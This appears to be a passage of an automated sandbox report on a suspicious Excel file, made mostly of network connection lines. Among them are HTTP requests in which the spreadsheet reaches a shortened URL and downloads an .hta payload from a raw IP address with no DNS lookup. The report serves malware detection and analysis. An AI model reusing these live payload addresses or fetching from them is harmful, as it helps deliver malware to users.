Source: global traffic	TCP traffic: 192.168.2.4:49756 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49755 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49755
Source: global traffic	TCP traffic: 192.168.2.4:49755 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49755
Source: global traffic	TCP traffic: 192.168.2.4:49756 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49756
Source: global traffic	TCP traffic: 192.168.2.4:49756 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49756
Source: global traffic	TCP traffic: 192.168.2.4:49762 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49762
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49762 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49762 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49762
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49759 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49759
Source: global traffic	TCP traffic: 192.168.2.4:49764 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49764
Source: global traffic	TCP traffic: 192.168.2.4:49764 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49764 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49764
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49760
Source: global traffic	TCP traffic: 192.168.2.4:49760 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49760
Source: global traffic	TCP traffic: 192.168.2.4:49760 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49760
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49762
Source: global traffic	TCP traffic: 192.168.2.4:49762 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49762
Source: global traffic	TCP traffic: 192.168.2.4:49762 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49762
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49761
Source: global traffic	TCP traffic: 192.168.2.4:49761 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49761
Source: global traffic	TCP traffic: 192.168.2.4:49761 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49761
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49760
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49760
Source: global traffic	TCP traffic: 192.168.2.4:49760 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49760 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49760
Source: global traffic	TCP traffic: 192.168.2.4:49763 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49763
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49762
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49762
Source: global traffic	TCP traffic: 192.168.2.4:49762 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49761
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49761
Source: global traffic	TCP traffic: 192.168.2.4:49761 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49762 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49762
Source: global traffic	TCP traffic: 192.168.2.4:49761 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49761
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49766 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49766
Source: global traffic	TCP traffic: 192.168.2.4:49766 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49766 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49766
Source: global traffic	TCP traffic: 192.168.2.4:49767 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49767
Source: global traffic	TCP traffic: 192.168.2.4:49767 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49768 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49768
Source: global traffic	TCP traffic: 192.168.2.4:49768 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49767 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49767
Source: global traffic	TCP traffic: 192.168.2.4:49768 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49768
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49764
Source: global traffic	TCP traffic: 192.168.2.4:49764 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49764
Source: global traffic	TCP traffic: 192.168.2.4:49764 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49764
Source: global traffic	TCP traffic: 192.168.2.4:49769 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 172.67.162.95:443 -> 192.168.2.4:49769
Source: global traffic	TCP traffic: 192.168.2.4:49769 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.4:49769 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 172.67.162.95:443 -> 192.168.2.4:49769
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49764
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49764
Source: global traffic	TCP traffic: 192.168.2.4:49764 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49764 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49764
Source: global traffic	TCP traffic: 192.168.2.4:49764 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49764
Source: global traffic	TCP traffic: 192.168.2.4:49770 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49770
Source: global traffic	TCP traffic: 192.168.2.4:49770 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49770 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49770
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49768
Source: global traffic	TCP traffic: 192.168.2.4:49768 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49768
Source: global traffic	TCP traffic: 192.168.2.4:49768 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49768
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49767
Source: global traffic	TCP traffic: 192.168.2.4:49767 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49767
Source: global traffic	TCP traffic: 192.168.2.4:49767 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49767
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49766
Source: global traffic	TCP traffic: 192.168.2.4:49766 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49766
Source: global traffic	TCP traffic: 192.168.2.4:49766 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49766
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49765 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49765
Source: global traffic	TCP traffic: 192.168.2.4:49771 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49771
Source: global traffic	TCP traffic: 192.168.2.4:49771 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49771 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49771
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49768
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49768
Source: global traffic	TCP traffic: 192.168.2.4:49768 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49768 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49768
Source: global traffic	TCP traffic: 192.168.2.4:49768 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49768
Source: global traffic	TCP traffic: 192.168.2.4:49772 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49772
Source: global traffic	TCP traffic: 192.168.2.4:49772 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49772 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49772
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49767
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49767
Source: global traffic	TCP traffic: 192.168.2.4:49767 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49767 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49767 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49767
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49767
Source: global traffic	TCP traffic: 192.168.2.4:49773 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49773
Source: global traffic	TCP traffic: 192.168.2.4:49773 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49773 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49773
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49766
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49766
Source: global traffic	TCP traffic: 192.168.2.4:49766 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49766 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49766 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49766
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49766
Source: global traffic	TCP traffic: 192.168.2.4:49774 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49774
Source: global traffic	TCP traffic: 192.168.2.4:49774 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49774 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49774
Source: global traffic	TCP traffic: 172.67.162.95:443 -> 192.168.2.4:49769
Source: global traffic	TCP traffic: 192.168.2.4:49769 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.4:49769 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 172.67.162.95:443 -> 192.168.2.4:49769
Source: global traffic	TCP traffic: 172.67.162.95:443 -> 192.168.2.4:49769
Source: global traffic	TCP traffic: 192.168.2.4:49769 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.4:49769 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 172.67.162.95:443 -> 192.168.2.4:49769
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49770
Source: global traffic	TCP traffic: 192.168.2.4:49770 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49770
Source: global traffic	TCP traffic: 192.168.2.4:49770 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49770
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49770
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49770
Source: global traffic	TCP traffic: 192.168.2.4:49770 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49770 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49770
Source: global traffic	TCP traffic: 192.168.2.4:49770 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49770
Source: global traffic	TCP traffic: 192.168.2.4:49775 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49775
Source: global traffic	TCP traffic: 192.168.2.4:49775 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49775 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49775
Source: global traffic	TCP traffic: 172.67.162.95:443 -> 192.168.2.4:49769
Source: global traffic	TCP traffic: 172.67.162.95:443 -> 192.168.2.4:49769
Source: global traffic	TCP traffic: 192.168.2.4:49769 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.4:49769 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 192.168.2.4:49769 -> 172.67.162.95:443
Source: global traffic	TCP traffic: 172.67.162.95:443 -> 192.168.2.4:49769
Source: global traffic	TCP traffic: 192.168.2.4:49776 -> 107.175.130.36:80
Source: global traffic	TCP traffic: 107.175.130.36:80 -> 192.168.2.4:49776
Source: global traffic	TCP traffic: 192.168.2.4:49776 -> 107.175.130.36:80
Source: global traffic	TCP traffic: 192.168.2.4:49776 -> 107.175.130.36:80
Source: global traffic	TCP traffic: 107.175.130.36:80 -> 192.168.2.4:49776
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49771
Source: global traffic	TCP traffic: 192.168.2.4:49771 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49771
Source: global traffic	TCP traffic: 192.168.2.4:49771 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49771
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49773
Source: global traffic	TCP traffic: 192.168.2.4:49773 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49773
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49772
Source: global traffic	TCP traffic: 192.168.2.4:49773 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49773
Source: global traffic	TCP traffic: 192.168.2.4:49772 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49772
Source: global traffic	TCP traffic: 192.168.2.4:49772 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49772
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49774
Source: global traffic	TCP traffic: 192.168.2.4:49774 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49774
Source: global traffic	TCP traffic: 192.168.2.4:49774 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49774
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49771
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49771
Source: global traffic	TCP traffic: 192.168.2.4:49771 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49771 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49771 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49771
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49771
Source: global traffic	TCP traffic: 192.168.2.4:49777 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49777
Source: global traffic	TCP traffic: 192.168.2.4:49777 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49777 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49777
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49773
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49773
Source: global traffic	TCP traffic: 192.168.2.4:49773 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49773 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49773
Source: global traffic	TCP traffic: 192.168.2.4:49773 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49773
Source: global traffic	TCP traffic: 192.168.2.4:49778 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49778
Source: global traffic	TCP traffic: 192.168.2.4:49778 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49778 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49778
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49772
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49772
Source: global traffic	TCP traffic: 192.168.2.4:49772 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49772 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49772
Source: global traffic	TCP traffic: 192.168.2.4:49772 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49772
Source: global traffic	TCP traffic: 192.168.2.4:49779 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49779
Source: global traffic	TCP traffic: 192.168.2.4:49779 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49779 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49779
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49774
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49774
Source: global traffic	TCP traffic: 192.168.2.4:49774 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49774 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49774
Source: global traffic	TCP traffic: 192.168.2.4:49774 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49774
Source: global traffic	TCP traffic: 192.168.2.4:49780 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49780
Source: global traffic	TCP traffic: 192.168.2.4:49780 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49780 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49780
Source: global traffic	TCP traffic: 107.175.130.36:80 -> 192.168.2.4:49776
Source: global traffic	TCP traffic: 192.168.2.4:49776 -> 107.175.130.36:80
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49775
Source: global traffic	TCP traffic: 192.168.2.4:49775 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49775
Source: global traffic	TCP traffic: 192.168.2.4:49775 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49775
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49775
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49775
Source: global traffic	TCP traffic: 192.168.2.4:49775 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 192.168.2.4:49775 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49775
Source: global traffic	TCP traffic: 192.168.2.4:49775 -> 13.107.246.45:443
Source: global traffic	TCP traffic: 13.107.246.45:443 -> 192.168.2.4:49775
Source: global traffic	TCP traffic: 192.168.2.4:49781 -> 13.107.246.45:443

Source: excel.exe

Memory has grown: Private usage: 1MB later: 73MB

Source: Joe Sandbox View	IP Address: 172.67.162.95 172.67.162.95
Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 6271f898ce5be7dd52b0fc260d0662b3
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: GET /wMyYAg?&morsel=bewildered&bifocals=oafish&egg HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoHost: acesso.runConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /80/de/seethegoodgirlwhoismylovershealwayslovedmealotwithhereyes.hta HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoConnection: Keep-AliveHost: 107.175.130.36

Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.36
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.36
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.36
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.36
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.36
Source: unknown	TCP traffic detected without corresponding DNS query: 107.175.130.36
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
